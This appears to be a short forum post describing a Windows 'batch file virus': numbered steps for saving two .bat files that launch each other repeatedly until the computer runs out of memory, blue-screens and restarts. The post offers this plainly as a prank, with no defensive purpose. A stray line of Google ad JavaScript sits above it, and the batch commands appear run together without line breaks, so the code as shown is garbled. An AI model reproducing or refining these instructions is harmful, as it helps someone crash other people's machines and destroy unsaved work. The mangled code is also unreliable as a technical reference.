

## A batch File virus

```
google_protectAndRun("ads_core.google_render_ad", google_handleError, google_render_ad);
```

I've tried this on windows XP and it seems to kill the computer and it forces the computer to blue screen then reset.

[I've yet to test on vista] This is what I did.

1. Opened up notepad and typed  

```
start important.batstart important1.batclose;
```
2. Clicked save as and saved it as important.bat
3. Clicked save as again and saved it as important1.bat
4. When you click on either 1 of the bats it will spam CMD windows thus killing you memory and forcing it to blue screen and reset you can rename important.bat and important1.bat anything you want but make sure it starts with  

```
start [bat name file].batstart [bat name file].batclose;
```
